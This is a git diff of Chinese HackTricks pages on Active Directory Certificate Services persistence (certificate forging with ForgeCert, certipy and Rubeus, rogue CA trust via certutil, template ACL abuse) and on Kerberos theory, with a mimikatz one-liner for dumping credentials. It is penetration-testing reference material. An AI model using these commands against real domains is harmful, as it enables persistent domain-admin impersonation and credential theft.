在获取了以 `.pfx` 格式保存的 CA 证书及其私钥后,可以利用类似 [ForgeCert](https://github.com/GhostPack/ForgeCert) 的工具生成有效证书:
|
||||||
```bash
|
```bash
|
||||||
# Create new certificate with ForgeCert
|
# Generating a new certificate with ForgeCert
|
||||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||||
|
|
||||||
# Create new certificate with certipy
|
# Generating a new certificate with certipy
|
||||||
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
|
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
|
||||||
|
|
||||||
# Use new certificate with Rubeus to authenticate
|
# Authenticating using the new certificate with Rubeus
|
||||||
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
|
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
|
||||||
|
|
||||||
# User new certi with certipy to authenticate
|
# Authenticating using the new certificate with certipy
|
||||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**注意**:伪造证书时指定的**用户**必须在AD中是**活跃/启用**状态,并且**能够认证**,因为仍将发生以该用户身份的认证交换。例如,尝试为krbtgt账户伪造证书将不起作用。
|
针对证书伪造的用户必须是活跃的,并且能够在Active Directory中进行身份验证,才能成功进行该过程。对于像krbtgt这样的特殊帐户伪造证书是无效的。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
这个伪造的证书将在指定的结束日期之前是**有效的**,并且只要根CA证书有效(通常为5到**10+年**),它就是有效的。它对**机器**也是有效的,所以结合**S4U2Self**,攻击者可以在CA证书有效期内**在任何域机器上维持持久性**。\
|
这个伪造的证书将**有效**直到指定的结束日期,并且只要根CA证书有效(通常为5到**10年以上**)。它也适用于**机器**,因此结合**S4U2Self**,攻击者可以在CA证书有效的情况下在任何域机器上**保持持久性**。\
|
||||||
此外,使用此方法**生成的证书无法被撤销**,因为CA并不知道它们的存在。
|
此外,使用此方法生成的**证书**是**无法吊销**的,因为CA不知道它们的存在。
|
||||||
|
|
||||||
## 信任恶意CA证书 - DPERSIST2
|
## 信任恶意CA证书 - DPERSIST2
|
||||||
|
|
||||||
对象`NTAuthCertificates`在其`cacertificate`**属性**中定义了一个或多个**CA证书**,AD在认证过程中使用它:在认证过程中,**域控制器**检查**`NTAuthCertificates`**对象是否**包含**认证中使用的**证书的**颁发者字段中指定的**CA**的条目。如果**包含**,则认证**继续进行**。
|
`NTAuthCertificates`对象被定义为在其`cacertificate`属性中包含一个或多个**CA证书**,Active Directory(AD)使用这些证书。域控制器的验证过程涉及检查`NTAuthCertificates`对象,以查找与认证**证书**的Issuer字段中指定的**CA**匹配的条目。如果找到匹配项,则进行身份验证。
|
||||||
|
|
||||||
攻击者可以生成一个**自签名CA证书**并将其**添加**到**`NTAuthCertificates`**对象中。如果攻击者对**`NTAuthCertificates`** AD对象有**控制权**(在默认配置中,只有**企业管理员**组成员以及**森林根域**中的**域管理员**或**管理员**有这些权限),他们就可以这样做。拥有高级访问权限的人可以使用`certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`,或使用[**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)从任何系统**编辑** **`NTAuthCertificates`**对象。 
|
攻击者可以将自签名的CA证书添加到`NTAuthCertificates`对象中,前提是他们控制了这个AD对象。通常,只有**企业管理员**组的成员,以及**域管理员**或**林根域的管理员**被授予权限修改此对象。他们可以使用`certutil.exe`编辑`NTAuthCertificates`对象,命令为`certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`,或者使用[**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)。
|
||||||
|
|
||||||
指定的证书应该可以**与之前详细描述的ForgeCert伪造方法一起使用**,以按需生成证书。
|
当与先前概述的使用ForgeCert动态生成证书的方法结合使用时,这种能力尤为重要。
|
||||||
|
|
||||||
## 恶意配置错误 - DPERSIST3
|
## 恶意配置错误 - DPERSIST3
|
||||||
|
|
||||||
通过修改AD CS组件的**安全描述符**,为**持久性**提供了大量机会。在“[域提升](domain-escalation.md)”部分描述的任何场景都可以被拥有高级访问权限的攻击者恶意实施,以及向敏感组件添加“控制权”(例如,WriteOwner/WriteDACL等)。这包括:
|
通过对AD CS组件的安全描述符进行修改,可以提供大量**持久性**机会。在"[域提升](domain-escalation.md)"部分描述的修改可以被具有提升访问权限的攻击者恶意实施。这包括向敏感组件(例如**CA服务器的AD计算机**对象、CA服务器的RPC/DCOM服务器、`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`中的任何后代AD对象或容器(例如证书模板容器、证书颁发机构容器、NTAuthCertificates对象等)、默认或组织授予控制AD CS权限的**AD组**(例如内置的Cert Publishers组及其任何成员))添加“控制权限”(例如WriteOwner/WriteDACL等)的机会。
|
||||||
|
|
||||||
* **CA服务器的AD计算机**对象
|
恶意实施的一个例子是,攻击者在域中具有**提升权限**,向默认的**`User`**证书模板添加**`WriteOwner`**权限,并将自己设置为权限的主体。为了利用这一点,攻击者首先会将**`User`**模板的所有权更改为自己。随后,在模板上将**`mspki-certificate-name-flag`**设置为**1**,以启用**`ENROLLEE_SUPPLIES_SUBJECT`**,允许用户在请求中提供主题备用名称。随后,攻击者可以使用**模板**进行**注册**,选择一个**域管理员**名称作为备用名称,并利用获得的证书进行DA身份验证。
|
||||||
* **CA服务器的RPC/DCOM服务器**
|
|
||||||
* **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** 容器中的任何**后代AD对象或容器**(例如,证书模板容器,认证机构容器,NTAuthCertificates对象等)
|
|
||||||
* **默认情况下或由当前组织委派控制AD CS的AD组**(例如,内置的Cert Publishers组及其任何成员)
|
|
||||||
|
|
||||||
例如,一个在域中拥有**高级权限**的攻击者可以向默认的**`User`**证书模板添加**`WriteOwner`**权限,其中攻击者是该权利的主体。为了在以后滥用这一点,攻击者首先将**`User`**模板的所有权修改为自己,然后将模板上的**`mspki-certificate-name-flag`**设置为**1**,以启用**`ENROLLEE_SUPPLIES_SUBJECT`**(即,允许用户在请求中提供一个主题备用名称)。然后,攻击者可以**注册**该**模板**,指定一个**域管理员**名称作为备用名称,并使用结果证书作为DA进行认证。
|
|
||||||
|
|
||||||
## 参考资料
|
|
||||||
|
|
||||||
* 本页的所有信息取自 [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS hacking!</strong></summary>
|
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
|
||||||
|
|
||||||
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,220 +1,15 @@
|
||||||
# Kerberos身份验证
|
# Kerberos Authentication
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**此信息摘自文章:**[**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
**查看来自的精彩帖子:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||||
|
|
||||||
## Kerberos(I):Kerberos是如何工作的?- 理论
|
|
||||||
|
|
||||||
2019年3月20日 - ELOY PÉREZ
|
|
||||||
|
|
||||||
这一系列文章的目标是澄清Kerberos的工作原理,而不仅仅是介绍攻击技术。这是因为在许多情况下,为什么某些技术有效或无效并不清楚。了解这些知识可以让我们知道何时在渗透测试中使用这些攻击之一。
|
|
||||||
|
|
||||||
因此,在长时间的文档研究和关于该主题的几篇文章之后,我们试图在本文中写出所有重要细节,以便审计人员能够理解如何利用Kerberos协议。
|
|
||||||
|
|
||||||
在本文中,只讨论基本功能。在以后的文章中,将介绍如何执行攻击以及更复杂的方面,如委派。
|
|
||||||
|
|
||||||
如果对未解释清楚的主题有任何疑问,请随时留下评论或提问。现在,进入主题。
|
|
||||||
|
|
||||||
### 什么是Kerberos?
|
|
||||||
|
|
||||||
首先,Kerberos是一种身份验证协议,而不是授权协议。换句话说,它允许识别每个用户,用户提供一个秘密密码,但它不验证该用户可以访问哪些资源或服务。
|
|
||||||
|
|
||||||
Kerberos在Active Directory中使用。在这个平台上,Kerberos提供有关每个用户特权的信息,但确定用户是否可以访问其资源是每个服务的责任。
|
|
||||||
|
|
||||||
### Kerberos组件
|
|
||||||
|
|
||||||
本节将研究Kerberos环境的几个组件。
|
|
||||||
|
|
||||||
**传输层**
|
|
||||||
|
|
||||||
Kerberos使用UDP或TCP作为传输协议,以明文发送数据。因此,Kerberos负责提供加密。
|
|
||||||
|
|
||||||
Kerberos使用的端口是UDP/88和TCP/88,这些端口应该在KDC(下一节中解释)上监听。
|
|
||||||
|
|
||||||
**代理**
|
|
||||||
|
|
||||||
多个代理共同工作以提供Kerberos中的身份验证。它们是:
|
|
||||||
|
|
||||||
* **客户端或用户**,希望访问服务的用户。
|
|
||||||
* **AP**(应用程序服务器),提供用户所需的服务。
|
|
||||||
* **KDC**(密钥分发中心),Kerberos的主要服务,负责发行票证,安装在DC(域控制器)上。它由**AS**(认证服务)支持,AS发行TGT。
|
|
||||||
|
|
||||||
**加密密钥**
|
|
||||||
|
|
||||||
Kerberos处理多个结构,如票证。这些结构中的许多是加密或签名的,以防止被第三方篡改。这些密钥包括:
|
|
||||||
|
|
||||||
* **KDC或krbtgt密钥**,派生自krbtgt帐户的NTLM哈希。
|
|
||||||
* **用户密钥**,派生自用户的NTLM哈希。
|
|
||||||
* **服务密钥**,派生自服务所有者的NTLM哈希,可以是用户或计算机帐户。
|
|
||||||
* **会话密钥**,在用户和KDC之间协商。
|
|
||||||
* **服务会话密钥**,在用户和服务之间使用。
|
|
||||||
|
|
||||||
**票证**
|
|
||||||
|
|
||||||
Kerberos处理的主要结构是票证。这些票证交付给用户,以便用户在Kerberos领域中执行多个操作。有两种类型:
|
|
||||||
|
|
||||||
* **TGS**(票证授予服务)是用户可以用来对服务进行身份验证的票证。它使用服务密钥进行加密。
|
|
||||||
* **TGT**(票证授予票证)是提交给KDC以请求TGS的票证。它使用KDC密钥进行加密。
|
|
||||||
|
|
||||||
**PAC**
|
|
||||||
|
|
||||||
**PAC**(特权属性证书)是几乎每个票证中包含的结构。此结构包含用户的特权,并使用KDC密钥进行签名。
|
|
||||||
|
|
||||||
服务可以通过与KDC通信来验证PAC,尽管这种情况并不经常发生。然而,PAC验证仅包括检查其签名,而不检查PAC内部的特权是否正确。
|
|
||||||
|
|
||||||
此外,客户端可以通过在票证请求的_KERB-PA-PAC-REQUEST_字段中指定来避免将PAC包含在票证中。
|
|
||||||
|
|
||||||
**消息**
|
|
||||||
|
|
||||||
Kerberos使用不同类型的消息。最有趣的是以下几种:
|
|
||||||
|
|
||||||
* **KRB\_AS\_REQ**:用于向KDC请求TGT。
|
|
||||||
* **KRB\_AS\_REP**:由KDC交付TGT使用。
|
|
||||||
* **KRB\_TGS\_REQ**:使用TGT向KDC请求TGS。
|
|
||||||
* **KRB\_TGS\_REP**:由KDC交付TGS使用。
|
|
||||||
* **KRB\_AP\_REQ**:使用TGS对用户进行身份验证。
|
|
||||||
* **KRB\_AP\_REP**:(可选)由服务用于对用户进行身份验证。
|
|
||||||
* **KRB\_ERROR**:用于通信错误条件的消息。
|
|
||||||
|
|
||||||
此外,即使它不是Kerberos的一部分,但是NRPC,AP还可以使用**KERB\_VERIFY\_PAC\_REQUEST**消息向KDC发送PAC的签名,并验证其是否正确。
|
|
||||||
|
|
||||||
下面是执行身份验证的消息序列的摘要
|
|
||||||
|
|
||||||
![Kerberos消息摘要](<../../.gitbook/assets/image (174) (1).png>)
|
|
||||||
### 认证过程
|
|
||||||
|
|
||||||
在本节中,将研究执行认证所需的消息序列,从没有票证的用户开始,直到对所需服务进行身份验证。
|
|
||||||
|
|
||||||
**KRB\_AS\_REQ**
|
|
||||||
|
|
||||||
首先,用户必须从KDC获取TGT。为此,必须发送一个KRB\_AS\_REQ:
|
|
||||||
|
|
||||||
![KRB\_AS\_REQ消息结构图](<../../.gitbook/assets/image (175) (1).png>)
|
|
||||||
|
|
||||||
_KRB\_AS\_REQ_包含以下字段之一:
|
|
||||||
|
|
||||||
* 使用客户端密钥加密的**时间戳**,用于验证用户身份并防止重放攻击
|
|
||||||
* 已验证用户的**用户名**
|
|
||||||
* 与**krbtgt**帐户关联的服务**SPN**
|
|
||||||
* 用户生成的**Nonce**
|
|
||||||
|
|
||||||
注意:只有在用户需要预身份验证时,才需要加密时间戳,这是常见情况,除非在用户帐户中设置了[_DONT\_REQ\_PREAUTH_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)标志。
|
|
||||||
|
|
||||||
**KRB\_AS\_REP**
|
|
||||||
|
|
||||||
收到请求后,KDC通过解密时间戳来验证用户身份。如果消息正确,则必须用_KRB\_AS\_REP_进行响应:
|
|
||||||
|
|
||||||
![KRB\_AS\_REP消息结构图](<../../.gitbook/assets/image (176) (1).png>)
|
|
||||||
|
|
||||||
_KRB\_AS\_REP_包括以下信息:
|
|
||||||
|
|
||||||
* **用户名**
|
|
||||||
* **TGT**,其中包括:
|
|
||||||
* **用户名**
|
|
||||||
* **会话密钥**
|
|
||||||
* **TGT的过期日期**
|
|
||||||
* 由KDC签名的具有用户特权的**PAC**
|
|
||||||
* 使用用户密钥加密的一些**加密数据**,其中包括:
|
|
||||||
* **会话密钥**
|
|
||||||
* **TGT的过期日期**
|
|
||||||
* 用于防止重放攻击的用户**Nonce**
|
|
||||||
|
|
||||||
完成后,用户已经拥有了TGT,可以用它来请求TGS,然后访问服务。
|
|
||||||
|
|
||||||
**KRB\_TGS\_REQ**
|
|
||||||
|
|
||||||
为了请求TGS,必须向KDC发送一个_KRB\_TGS\_REQ_消息:
|
|
||||||
|
|
||||||
![KRB\_TGS\_REQ消息结构图](<../../.gitbook/assets/image (177).png>)
|
|
||||||
|
|
||||||
_KRB\_TGS\_REQ_包括:
|
|
||||||
|
|
||||||
* 使用会话密钥的**加密数据**:
|
|
||||||
* **用户名**
|
|
||||||
* **时间戳**
|
|
||||||
* **TGT**
|
|
||||||
* 所请求服务的**SPN**
|
|
||||||
* 用户生成的**Nonce**
|
|
||||||
|
|
||||||
**KRB\_TGS\_REP**
|
|
||||||
|
|
||||||
收到_KRB\_TGS\_REQ_消息后,KDC返回一个包含TGS的_KRB\_TGS\_REP_:
|
|
||||||
|
|
||||||
![KRB\_TGS\_REP消息结构图](<../../.gitbook/assets/image (178) (1).png>)
|
|
||||||
|
|
||||||
_KRB\_TGS\_REP_包括:
|
|
||||||
|
|
||||||
* **用户名**
|
|
||||||
* **TGS**,其中包含:
|
|
||||||
* **服务会话密钥**
|
|
||||||
* **用户名**
|
|
||||||
* **TGS的过期日期**
|
|
||||||
* 由KDC签名的具有用户特权的**PAC**
|
|
||||||
* 使用会话密钥的**加密数据**:
|
|
||||||
* **服务会话密钥**
|
|
||||||
* **TGS的过期日期**
|
|
||||||
* 用于防止重放攻击的用户**Nonce**
|
|
||||||
|
|
||||||
**KRB\_AP\_REQ**
|
|
||||||
|
|
||||||
最后,如果一切顺利,用户已经拥有有效的TGS以与服务进行交互。为了使用它,用户必须向AP发送一个_KRB\_AP\_REQ_消息:
|
|
||||||
|
|
||||||
![KRB\_AP\_REQ消息结构图](<../../.gitbook/assets/image (179) (1).png>)
|
|
||||||
|
|
||||||
_KRB\_AP\_REQ_包括:
|
|
||||||
|
|
||||||
* **TGS**
|
|
||||||
* 使用服务会话密钥的**加密数据**:
|
|
||||||
* **用户名**
|
|
||||||
* **时间戳**,以避免重放攻击
|
|
||||||
|
|
||||||
之后,如果用户权限正确,就可以访问服务。如果是这种情况(通常不会发生),AP将根据KDC验证PAC,并在需要相互认证时向用户响应一个_KRB\_AP\_REP_消息。
|
|
||||||
|
|
||||||
### 参考资料
|
|
||||||
|
|
||||||
* Kerberos v5 RFC: [https://tools.ietf.org/html/rfc4120](https://tools.ietf.org/html/rfc4120)
|
|
||||||
* \[MS-KILE\] – Kerberos扩展: [https://msdn.microsoft.com/en-us/library/cc233855.aspx](https://msdn.microsoft.com/en-us/library/cc233855.aspx)
|
|
||||||
* \[MS-APDS\] – 认证协议域支持: [https://msdn.microsoft.com/en-us/library/cc223948.aspx](https://msdn.microsoft.com/en-us/library/cc223948.aspx)
|
|
||||||
* Mimikatz和Active Directory Kerberos攻击: [https://adsecurity.org/?p=556](https://adsecurity.org/?p=556)
|
|
||||||
* 用5岁孩子的语言解释Kerberos: [https://www.roguelynn.com/words/explain-like-im-5-kerberos/](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
|
|
||||||
* Kerberos和KRBTGT: [https://adsecurity.org/?p=483](https://adsecurity.org/?p=483)
|
|
||||||
* 掌握Windows网络取证和调查,第2版。作者:S. Anson,S. Bunting,R. Johnson和S. Pearson。出版社Sibex。
|
|
||||||
* Active Directory,第5版。作者:B. Desmond,J. Richards,R. Allen和A.G. Lowe-Norris
|
|
||||||
* 服务主体名称:[https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/ms677949\(v=vs.85\).aspx)
|
|
||||||
* Active Directory的功能级别:[https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0](https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0)
|
|
||||||
* OverPass The Hash – Gentilkiwi博客: [https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash](https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash)
|
|
||||||
* Pass The Ticket – Gentilkiwi博客: [https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos)
|
|
||||||
* Golden Ticket – Gentilkiwi博客: [https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos](https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos)
|
|
||||||
* Mimikatz Golden Ticket Walkthrough: [https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html](https://www.beneaththewaves.net/Projects/Mimikatz\_20\_-\_Golden\_Ticket\_Walkthrough.html)
|
|
||||||
* 攻击Kerberos: 踢开冥界的守卫犬: [https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin\(1\).pdf)
|
|
||||||
* Kerberoasting – Part 1: [https://room362.com/post/2016/kerberoast-pt1/](https://room362.com/post/2016/kerberoast-pt1/)
|
|
||||||
* Kerberoasting – Part 2: [https://room362.com/post/2016/kerberoast-pt2/](https://room362.com/post/2016/kerberoast-pt2/)
|
|
||||||
* 烤AS-REPs:[https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
|
|
||||||
* PAC验证:[https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html](https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html)
|
|
||||||
* 理解PAC验证:[https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/](https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/)
|
|
||||||
* 重置krbtgt账户密码/密钥:[https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51](https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51)
|
|
||||||
* 缓解Pass-the-Hash (PtH)攻击和其他凭证盗窃:[https://www.microsoft.com/en-us/download/details.aspx?id=36036](https://www.microsoft.com/en-us/download/details.aspx?id=36036)
|
|
||||||
* 在AD环境中使用LDAP、Kerberos (和MSRPC)的有趣玩法:[https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享你的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -28,19 +28,19 @@ lsadump::sam
|
||||||
#One liner
|
#One liner
|
||||||
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
|
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
|
||||||
```
|
```
|
||||||
**在** [**此页面**](credentials-mimikatz.md) **中找到 Mimikatz 的其他功能。**
|
